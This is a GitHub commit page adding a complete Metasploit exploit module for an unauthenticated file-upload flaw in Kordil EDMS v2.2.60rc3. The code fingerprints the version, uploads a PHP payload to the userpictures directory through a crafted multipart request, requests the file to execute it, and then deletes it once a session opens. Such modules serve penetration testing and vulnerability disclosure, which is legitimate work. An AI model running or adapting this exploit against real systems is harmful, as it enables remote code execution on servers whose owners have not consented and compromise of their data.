Skip to content

Commit 52d6561

Browse files
committed
Merge branch 'bcoles-kordil-edms-upload-exec'
2 parents 904a69b + 690e7ec commit 52d6561

File tree

1 file changed

+135
-0
lines changed

1 file changed

+135
-0
lines changed
Lines changed: 135 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,135 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = ExcellentRanking
12+
13+
include Msf::Exploit::Remote::HttpClient
14+
15+
def initialize(info={})
16+
super(update_info(info,
17+
'Name' => "Kordil EDMS v2.2.60rc3 Unauthenticated Arbitrary File Upload Vulnerability",
18+
'Description' => %q{
19+
This module exploits a vulnerability in Kordil EDMS v2.2.60rc3.
20+
This application has an upload feature that allows an unauthenticated user
21+
to upload arbitrary files to the '/kordil_edms/userpictures/' directory.
22+
},
23+
'License' => MSF_LICENSE,
24+
'Author' =>
25+
[
26+
'Brendan Coles <bcoles[at]gmail.com>' # Discovery and exploit
27+
],
28+
'References' =>
29+
[
30+
#['OSVDB', ''],
31+
#['EDB', ''],
32+
],
33+
'Platform' => 'php',
34+
'Arch' => ARCH_PHP,
35+
'Targets' =>
36+
[
37+
['Automatic Targeting', { 'auto' => true }]
38+
],
39+
'Privileged' => false,
40+
'DisclosureDate' => "Feb 22 2013",
41+
'DefaultTarget' => 0))
42+
43+
register_options(
44+
[
45+
OptString.new('TARGETURI', [true, 'The path to the web application', '/kordil_edms/']),
46+
], self.class)
47+
end
48+
49+
def check
50+
51+
base = target_uri.path
52+
peer = "#{rhost}:#{rport}"
53+
54+
# retrieve software version from login page
55+
begin
56+
res = send_request_cgi({
57+
'method' => 'GET',
58+
'uri' => normalize_uri(base, 'global_group_login.php')
59+
})
60+
if res and res.code == 200
61+
if res.body =~ /<center><font face="Arial" size="2">Kordil EDMS v2\.2\.60/
62+
return Exploit::CheckCode::Vulnerable
63+
elsif res.body =~ /Kordil EDMS v/
64+
return Exploit::CheckCode::Detected
65+
end
66+
end
67+
return Exploit::CheckCode::Safe
68+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
69+
print_error("#{peer} - Connection failed")
70+
end
71+
return Exploit::CheckCode::Unknown
72+
73+
end
74+
75+
def upload(base, file)
76+
data = Rex::MIME::Message.new
77+
data.add_part(file, 'text/x-php', nil, "form-data; name=\"upload_fd31\"; filename=\"#{@fname}.php\"")
78+
data.add_part("#{@fname}", nil, nil, 'form-data; name="add_fd0"')
79+
data.add_part("#{@fname}", nil, nil, 'form-data; name="add_fd27"')
80+
data.add_part("n", nil, nil, 'form-data; name="act"')
81+
data_post = data.to_s
82+
data_post = data_post.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
83+
84+
res = send_request_cgi({
85+
'method' => 'POST',
86+
'uri' => normalize_uri(base, 'users_add.php'),
87+
'ctype' => "multipart/form-data; boundary=#{data.bound}",
88+
'data' => data_post
89+
})
90+
return res
91+
end
92+
93+
def on_new_session(client)
94+
if client.type == "meterpreter"
95+
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
96+
client.fs.file.rm("#{@fname}.php")
97+
else
98+
client.shell_command_token("rm #{@fname}.php")
99+
end
100+
end
101+
102+
103+
def exploit
104+
105+
base = target_uri.path
106+
@peer = "#{rhost}:#{rport}"
107+
@fname = rand_text_numeric(7)
108+
109+
# upload PHP payload to userpictures/[fname].php
110+
print_status("#{@peer} - Uploading PHP payload (#{payload.encoded.length} bytes)")
111+
php = %Q|<?php #{payload.encoded} ?>|
112+
begin
113+
res = upload(base, php)
114+
if res and res.code == 302 and res.headers['Location'] =~ /\.\/user_account\.php\?/
115+
print_good("#{@peer} - File uploaded successfully")
116+
else
117+
fail_with(Exploit::Failure::UnexpectedReply, "#{@peer} - Uploading PHP payload failed")
118+
end
119+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
120+
fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
121+
end
122+
123+
# retrieve and execute PHP payload
124+
print_status("#{@peer} - Executing payload (userpictures/#{@fname}.php)")
125+
begin
126+
res = send_request_cgi({
127+
'method' => 'GET',
128+
'uri' => normalize_uri(base, 'userpictures', "#{@fname}.php")
129+
})
130+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
131+
fail_with(Exploit::Failure::Unreachable, "#{@peer} - Connection failed")
132+
end
133+
134+
end
135+
end

0 commit comments

Comments
 (0)